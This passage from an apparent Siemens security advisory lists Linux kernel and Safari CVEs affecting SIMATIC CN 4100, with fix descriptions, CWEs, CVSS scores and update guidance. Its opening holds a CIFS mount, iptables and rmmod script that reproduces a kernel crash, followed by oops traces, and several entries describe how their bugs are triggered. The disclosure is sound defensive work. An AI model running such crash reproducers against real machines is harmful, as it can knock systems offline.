sk_prot_free(). Note that sock_lock_init() clears sk->sk_owner for svc_create_socket() that calls sock_lock_init_class_and_name() for a listening socket, which clones a socket by sk_clone_lock() without GFP_ZERO. [0]: CIFS_SERVER=\"10.0.0.137\" CIFS_PATH=\"//${CIFS_SERVER}/Users/Administrator/Desktop/CIFS_TEST\" DEV=\"enp0s3\" CRED=\"/root/WindowsCredential.txt\" MNT=$(mktemp -d /tmp/XXXXXX) mount -t cifs ${CIFS_PATH} ${MNT} -o vers=3.0,credentials=${CRED},cache=none,echo_interval=1 iptables -A INPUT -s ${CIFS_SERVER} -j DROP for i in $(seq 10); do umount ${MNT} rmmod cifs sleep 1 done rm -r ${MNT} iptables -D INPUT -s ${CIFS_SERVER} -j DROP [1]: DEBUG_LOCKS_WARN_ON(1) WARNING: CPU: 10 PID: 0 at kernel/locking/lockdep.c:234 hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) Modules linked in: cifs_arc4 nls_ucs2_utils cifs_md4 [last unloaded: cifs] CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Not tainted 6.14.0 #36 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) ... Call Trace: __lock_acquire (kernel/locking/lockdep.c:4853 kernel/locking/lockdep.c:5178) lock_acquire (kernel/locking/lockdep.c:469 kernel/locking/lockdep.c:5853 kernel/locking/lockdep.c:5816) _raw_spin_lock_nested (kernel/locking/spinlock.c:379) tcp_v4_rcv (./include/linux/skbuff.h:1678 ./include/net/tcp.h:2547 net/ipv4/tcp_ipv4.c:2350) ... BUG: kernel NULL pointer dereference, address: 00000000000000c4 PF: supervisor read access in kernel mode PF: error_code(0x0000) - not-present page PGD 0 Oops: Oops: 0000 [#1] PREEMPT SMP NOPTI CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Tainted: G W 6.14.0 #36 Tainted: [W]=WARN Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:__lock_acquire (kernel/ ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-23160\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: mediatek: vcodec: Fix a resource leak related to the scp device in FW initialization On Mediatek devices with a system companion processor (SCP) the mtk_scp structure has to be removed explicitly to avoid a resource leak. Free the structure in case the allocation of the firmware structure fails during the firmware initialization.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-401 Missing Release of Memory after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-31257\n<div class=\"csaf-accordion-content\">\n\nThis issue was addressed with improved memory handling. This issue is fixed in Safari 18.5, iOS 18.5 and iPadOS 18.5, macOS Sequoia 15.5, tvOS 18.5, visionOS 2.5, watchOS 11.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-37931\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: adjust subpage bit start based on sectorsize When running machines with 64k page size and a 16k nodesize we started seeing tree log corruption in production. This turned out to be because we were not writing out dirty blocks sometimes, so this in fact affects all metadata writes. When writing out a subpage EB we scan the subpage bitmap for a dirty range. If the range isn't dirty we do bit_start++; to move onto the next bit. The problem is the bitmap is based on the number of sectors that an EB has. So in this case, we have a 64k pagesize, 16k nodesize, but a 4k sectorsize. This means our bitmap is 4 bits for every node. With a 64k page size we end up with 4 nodes per page. To make this easier this is how everything looks [0 16k 32k 48k ] logical address [0 4 8 12 ] radix tree offset [ 64k page ] folio [ 16k eb ][ 16k eb ][ 16k eb ][ 16k eb ] extent buffers [ | | | | | | | | | | | | | | | | ] bitmap Now we use all of our addressing based on fs_info->sectorsize_bits, so as you can see the above our 16k eb->start turns into radix entry 4. When we find a dirty range for our eb, we correctly do bit_start += sectors_per_node, because if we start at bit 0, the next bit for the next eb is 4, to correspond to eb->start 16k. However if our range is clean, we will do bit_start++, which will now put us offset from our radix tree entries. In our case, assume that the first time we check the bitmap the block is not dirty, we increment bit_start so now it == 1, and then we loop around and check again. This time it is dirty, and we go to find that start using the following equation start = folio_start + bit_start * fs_info->sectorsize; so in the case above, eb->start 0 is now dirty, and we calculate start as 0 + 1 * fs_info->sectorsize = 4096 4096 >> 12 = 1 Now we're looking up the radix tree for 1, and we won't find an eb. What's worse is now we're using bit_start == 1, so we do bit_start += sectors_per_node, which is now 5. If that eb is dirty we will run into the same thing, we will look at an offset that is not populated in the radix tree, and now we're skipping the writeout of dirty extent buffers. The best fix for this is to not use sectorsize_bits to address nodes, but that's a larger change. Since this is a fs corruption problem fix it simply by always using sectors_per_node to increment the start bit.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-37968\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: light: opt3001: fix deadlock due to concurrent flag access The threaded IRQ function in this driver is reading the flag twice: once to lock a mutex and once to unlock it. Even though the code setting the flag is designed to prevent it, there are subtle cases where the flag could be true at the mutex_lock stage and false at the mutex_unlock stage. This results in the mutex not being unlocked, resulting in a deadlock. Fix it by making the opt3001_irq() code generally more robust, reading the flag into a variable and using the variable value at both stages.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38322\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: perf/x86/intel: Fix crash in icl_update_topdown_event() The perf_fuzzer found a hard-lockup crash on a RaptorLake machine: Oops: general protection fault, maybe for address 0xffff89aeceab400: 0000 CPU: 23 UID: 0 PID: 0 Comm: swapper/23 Tainted: [W]=WARN Hardware name: Dell Inc. Precision 9660/0VJ762 RIP: 0010:native_read_pmc+0x7/0x40 Code: cc e8 8d a9 01 00 48 89 03 5b cd cc cc cc cc 0f 1f ... RSP: 000:fffb03100273de8 EFLAGS: 00010046 .... Call Trace: icl_update_topdown_event+0x165/0x190 ? ktime_get+0x38/0xd0 intel_pmu_read_event+0xf9/0x210 __perf_event_read+0xf9/0x210 CPUs 16-23 are E-core CPUs that don't support the perf metrics feature. The icl_update_topdown_event() should not be invoked on these CPUs. It's a regression of commit: f9bdf1f95339 (\"perf/x86/intel: Avoid disable PMU if !cpuc->enabled in sample read\") The bug introduced by that commit is that the is_topdown_event() function is mistakenly used to replace the is_topdown_count() call to check if the topdown functions for the perf metrics feature should be invoked. Fix it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38347\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: f2fs: fix to do sanity check on ino and xnid syzbot reported a f2fs bug as below: INFO: task syz-executor140:5308 blocked for more than 143 seconds. Not tainted 6.14.0-rc7-syzkaller-00069-g81e4f8d68c66 #0 \"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message. task:syz-executor140 state:D stack:24016 pid:5308 tgid:5308 ppid:5306 task_flags:0x400140 flags:0x00000006 Call Trace: context_switch kernel/sched/core.c:5378 [inline] __schedule+0x190e/0x4c90 kernel/sched/core.c:6765 __schedule_loop kernel/sched/core.c:6842 [inline] schedule+0x14b/0x320 kernel/sched/core.c:6857 io_schedule+0x8d/0x110 kernel/sched/core.c:7690 folio_wait_bit_common+0x839/0xee0 mm/filemap.c:1317 __folio_lock mm/filemap.c:1664 [inline] folio_lock include/linux/pagemap.h:1163 [inline] __filemap_get_folio+0x147/0xb40 mm/filemap.c:1917 pagecache_get_page+0x2c/0x130 mm/folio-compat.c:87 find_get_page_flags include/linux/pagemap.h:842 [inline] f2fs_grab_cache_page+0x2b/0x320 fs/f2fs/f2fs.h:2776 __get_node_page+0x131/0x11b0 fs/f2fs/node.c:1463 read_xattr_block+0xfb/0x190 fs/f2fs/xattr.c:306 lookup_all_xattrs fs/f2fs/xattr.c:355 [inline] f2fs_getxattr+0x676/0xf70 fs/f2fs/xattr.c:533 __f2fs_get_acl+0x52/0x870 fs/f2fs/acl.c:179 f2fs_acl_create fs/f2fs/acl.c:375 [inline] f2fs_init_acl+0xd7/0x9b0 fs/f2fs/acl.c:418 f2fs_init_inode_metadata+0xa0f/0x1050 fs/f2fs/dir.c:539 f2fs_add_inline_entry+0x448/0x860 fs/f2fs/inline.c:666 f2fs_add_dentry+0xba/0x1e0 fs/f2fs/dir.c:765 f2fs_do_add_link+0x28c/0x3a0 fs/f2fs/dir.c:808 f2fs_add_link fs/f2fs/f2fs.h:3616 [inline] f2fs_mknod+0x2e8/0x5b0 fs/f2fs/namei.c:766 vfs_mknod+0x36d/0x3b0 fs/namei.c:4191 unix_bind_bsd net/unix/af_unix.c:1286 [inline] unix_bind+0x563/0xe30 net/unix/af_unix.c:1379 __sys_bind_socket net/socket.c:1817 [inline] __sys_bind+0x1e4/0x290 net/socket.c:1848 __do_sys_bind net/socket.c:1853 [inline] __se_sys_bind net/socket.c:1851 [inline] __x64_sys_bind+0x7a/0x90 net/socket.c:1851 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f Let's dump and check metadata of corrupted inode, it shows its xattr_nid is the same to its i_ino. dump.f2fs -i 3 chaseyu.img.raw i_xattr_nid [0x 3 : 3] So that, during mknod in the corrupted directory, it tries to get and lock inode page twice, result in deadlock. - f2fs_mknod - f2fs_add_inline_entry - f2fs_get_inode_page --- lock dir's inode page - f2fs_init_acl - f2fs_acl_create(dir,..) - __f2fs_get_acl - f2fs_getxattr - lookup_all_xattrs - __get_node_page --- try to lock dir's inode page In order to fix this, let's add sanity check on ino and xnid.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38491\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mptcp: make fallback action and fallback decision atomic Syzkaller reported the following splat: WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 __mptcp_do_fallback net/mptcp/protocol.h:1223 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 mptcp_do_fallback net/mptcp/protocol.h:1244 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 check_fully_established net/mptcp/options.c:982 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 mptcp_incoming_options+0x21a8/0x2510 net/mptcp/options.c:1153 Modules linked in: CPU: 1 UID: 0 PID: 7704 Comm: syz.3.1419 Not tainted 6.16.0-rc3-gbd5ce2324dba #20 PREEMPT(voluntary) Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 RIP: 0010:__mptcp_do_fallback net/mptcp/protocol.h:1223 [inline] RIP: 0010:mptcp_do_fallback net/mptcp/protocol.h:1244 [inline] RIP: 0010:check_fully_established net/mptcp/options.c:982 [inline] RIP: 0010:mptcp_incoming_options+0x21a8/0x2510 net/mptcp/options.c:1153 Code: 24 18 e8 bb 2a 00 fd e9 1b df ff ff e8 b1 21 0f 00 e8 ec 5f c4 fc 44 0f b7 ac 24 b0 00 00 00 e9 54 f1 ff ff e8 d9 5f c4 fc 90 <0f> 0b 90 e9 b8 f4 ff ff e8 8b 2a 00 fd e9 8d e6 ff ff e8 81 2a 00 RSP: 0018:ffff8880a3f08448 EFLAGS: 00010246 RAX: 0000000000000000 RBX: ffff8880180a8000 RCX: ffffffff84afcf45 RDX: ffff888090223700 RSI: ffffffff84afdaa7 RDI: 0000000000000001 RBP: ffff888017955780 R08: 0000000000000001 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000 R13: ffff8880180a8910 R14: ffff8880a3e9d058 R15: 0000000000000000 FS: 00005555791b8500(0000) GS:ffff88811c495000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000110c2800b7 CR3: 0000000058e44000 CR4: 0000000000350ef0 Call Trace: tcp_reset+0x26f/0x2b0 net/ipv4/tcp_input.c:4432 tcp_validate_incoming+0x1057/0x1b60 net/ipv4/tcp_input.c:5975 tcp_rcv_established+0x5b5/0x21f0 net/ipv4/tcp_input.c:6166 tcp_v4_do_rcv+0x5dc/0xa70 net/ipv4/tcp_ipv4.c:1925 tcp_v4_rcv+0x3473/0x44a0 net/ipv4/tcp_ipv4.c:2363 ip_protocol_deliver_rcu+0xba/0x480 net/ipv4/ip_input.c:205 ip_local_deliver_finish+0x2f1/0x500 net/ipv4/ip_input.c:233 NF_HOOK include/linux/netfilter.h:317 [inline] NF_HOOK include/linux/netfilter.h:311 [inline] ip_local_deliver+0x1be/0x560 net/ipv4/ip_input.c:254 dst_input include/net/dst.h:469 [inline] ip_rcv_finish net/ipv4/ip_input.c:447 [inline] NF_HOOK include/linux/netfilter.h:317 [inline] NF_HOOK include/linux/netfilter.h:311 [inline] ip_rcv+0x514/0x810 net/ipv4/ip_input.c:567 __netif_receive_skb_one_core+0x197/0x1e0 net/core/dev.c:5975 __netif_receive_skb+0x1f/0x120 net/core/dev.c:6088 process_backlog+0x301/0x1360 net/core/dev.c:6440 __napi_poll.constprop.0+0xba/0x550 net/core/dev.c:7453 napi_poll net/core/dev.c:7517 [inline] net_rx_action+0xb44/0x1010 net/core/dev.c:7644 handle_softirqs+0x1d0/0x770 kernel/softirq.c:579 do_softirq+0x3f/0x90 kernel/softirq.c:480 __local_bh_enable_ip+0xed/0x110 kernel/softirq.c:407 local_bh_enable include/linux/bottom_half.h:33 [inline] inet_csk_listen_stop+0x2c5/0x1070 net/ipv4/inet_connection_sock.c:1524 mptcp_check_listen_stop.part.0+0x1cc/0x220 net/mptcp/protocol.c:2985 mptcp_check_listen_stop net/mptcp/mib.h:118 [inline] __mptcp_close+0x9b9/0xbd0 net/mptcp/protocol.c:3000 mptcp_close+0x2f/0x140 net/mptcp/protocol.c:3066 inet_release+0xed/0x200 net/ipv4/af_inet.c:435 inet6_release+0x4f/0x70 net/ipv6/af_inet6.c:487 __sock_release+0xb3/0x270 net/socket.c:649 sock_close+0x1c/0x30 net/socket.c:1439 __fput+0x402/0xb70 fs/file_table.c:465 task_work_run+0x150/0x240 kernel/task_work.c:227 resume_user_mode_work include/linux/resume_user_mode.h:50 [inline] exit_to_user_mode_loop+0xd4 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38502\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: bpf: Fix oob access in cgroup local storage Lonial reported that an out-of-bounds access in cgroup local storage can be crafted via tail calls. Given two programs each utilizing a cgroup local storage with a different value size, and one program doing a tail call into the other. The verifier will validate each of the indivial programs just fine. However, in the runtime context the bpf_cg_run_ctx holds an bpf_prog_array_item which contains the BPF program as well as any cgroup local storage flavor the program uses. Helpers such as bpf_get_local_storage() pick this up from the runtime context: ctx = container_of(current->bpf_ctx, struct bpf_cg_run_ctx, run_ctx); storage = ctx->prog_item->cgroup_storage[stype]; if (stype == BPF_CGROUP_STORAGE_SHARED) ptr = &READ_ONCE(storage->buf)->data[0]; else ptr = this_cpu_ptr(storage->percpu_buf); For the second program which was called from the originally attached one, this means bpf_get_local_storage() will pick up the former program's map, not its own. With mismatching sizes, this can result in an unintended out-of-bounds access. To fix this issue, we need to extend bpf_map_owner with an array of storage_cookie[] to match on i) the exact maps from the original program if the second program was using bpf_get_local_storage(), or ii) allow the tail call combination if the second program was not using any of the cgroup local storage maps.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38552\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mptcp: plug races between subflow fail and subflow creation We have races similar to the one addressed by the previous patch between subflow failing and additional subflow creation. They are just harder to trigger. The solution is similar. Use a separate flag to track the condition 'socket state prevent any additional subflow creation' protected by the fallback lock. The socket fallback makes such flag true, and also receiving or sending an MP_FAIL option. The field 'allow_infinite_fallback' is now always touched under the relevant lock, we can drop the ONCE annotation on write.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38614\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: eventpoll: Fix semi-unbounded recursion Ensure that epoll instances can never form a graph deeper than EP_MAX_NESTS+1 links. Currently, ep_loop_check_proc() ensures that the graph is loop-free and does some recursion depth checks, but those recursion depth checks don't limit the depth of the resulting tree for two reasons: - They don't look upwards in the tree. - If there are multiple downwards paths of different lengths, only one of the paths is actually considered for the depth check since commit 28d82dc1c4ed (\"epoll: limit paths\"). Essentially, the current recursion depth check in ep_loop_check_proc() just serves to prevent it from recursing too deeply while checking for loops. A more thorough check is done in reverse_path_check() after the new graph edge has already been created; this checks, among other things, that no paths going upwards from any non-epoll file with a length of more than 5 edges exist. However, this check does not apply to non-epoll files. As a result, it is possible to recurse to a depth of at least roughly 500, tested on v6.15. (I am unsure if deeper recursion is possible; and this may have changed with commit 8c44dac8add7 (\"eventpoll: Fix priority inversion problem\").) To fix it: 1. In ep_loop_check_proc(), note the subtree depth of each visited node, and use subtree depths for the total depth calculation even when a subtree has already been visited. 2. Add ep_get_upwards_depth_proc() for similarly determining the maximum depth of an upwards walk. 3. In ep_loop_check(), use these values to limit the total path length between epoll nodes to EP_MAX_NESTS edges.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-674 Uncontrolled Recursion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38670\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: arm64/entry: Mask DAIF in cpu_switch_to(), call_on_irq_stack() `cpu_switch_to()` and `call_on_irq_stack()` manipulate SP to change to different stacks along with the Shadow Call Stack if it is enabled. Those two stack changes cannot be done atomically and both functions can be interrupted by SErrors or Debug Exceptions which, though unlikely, is very much broken : if interrupted, we can end up with mismatched stacks and Shadow Call Stack leading to clobbered stacks. In `cpu_switch_to()`, it can happen when SP_EL0 points to the new task, but x18 stills points to the old task's SCS. When the interrupt handler tries to save the task's SCS pointer, it will save the old task SCS pointer (x18) into the new task struct (pointed to by SP_EL0), clobbering it. In `call_on_irq_stack()`, it can happen when switching from the task stack to the IRQ stack and when switching back. In both cases, we can be interrupted when the SCS pointer points to the IRQ SCS, but SP points to the task stack. The nested interrupt handler pushes its return addresses on the IRQ SCS. It then detects that SP points to the task stack, calls `call_on_irq_stack()` and clobbers the task SCS pointer with the IRQ SCS pointer, which it will also use ! This leads to tasks returning to addresses on the wrong SCS, or even on the IRQ SCS, triggering kernel panics via CONFIG_VMAP_STACK or FPAC if enabled. This is possible on a default config, but unlikely. However, when enabling CONFIG_ARM64_PSEUDO_NMI, DAIF is unmasked and instead the GIC is responsible for filtering what interrupts the CPU should receive based on priority. Given the goal of emulating NMIs, pseudo-NMIs can be received by the CPU even in `cpu_switch_to()` and `call_on_irq_stack()`, possibly *very* frequently depending on the system configuration and workload, leading to unpredictable kernel panics. Completely mask DAIF in `cpu_switch_to()` and restore it when returning. Do the same in `call_on_irq_stack()`, but restore and mask around the branch. Mask DAIF even if CONFIG_SHADOW_CALL_STACK is not enabled for consistency of behaviour between all configurations. Introduce and use an assembly macro for saving and masking DAIF, as the existing one saves but only masks IF.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38676\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iommu/amd: Avoid stack buffer overflow from kernel cmdline While the kernel command line is considered trusted in most environments, avoid writing 1 byte past the end of \"acpiid\" if the \"str\" argument is maximum length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 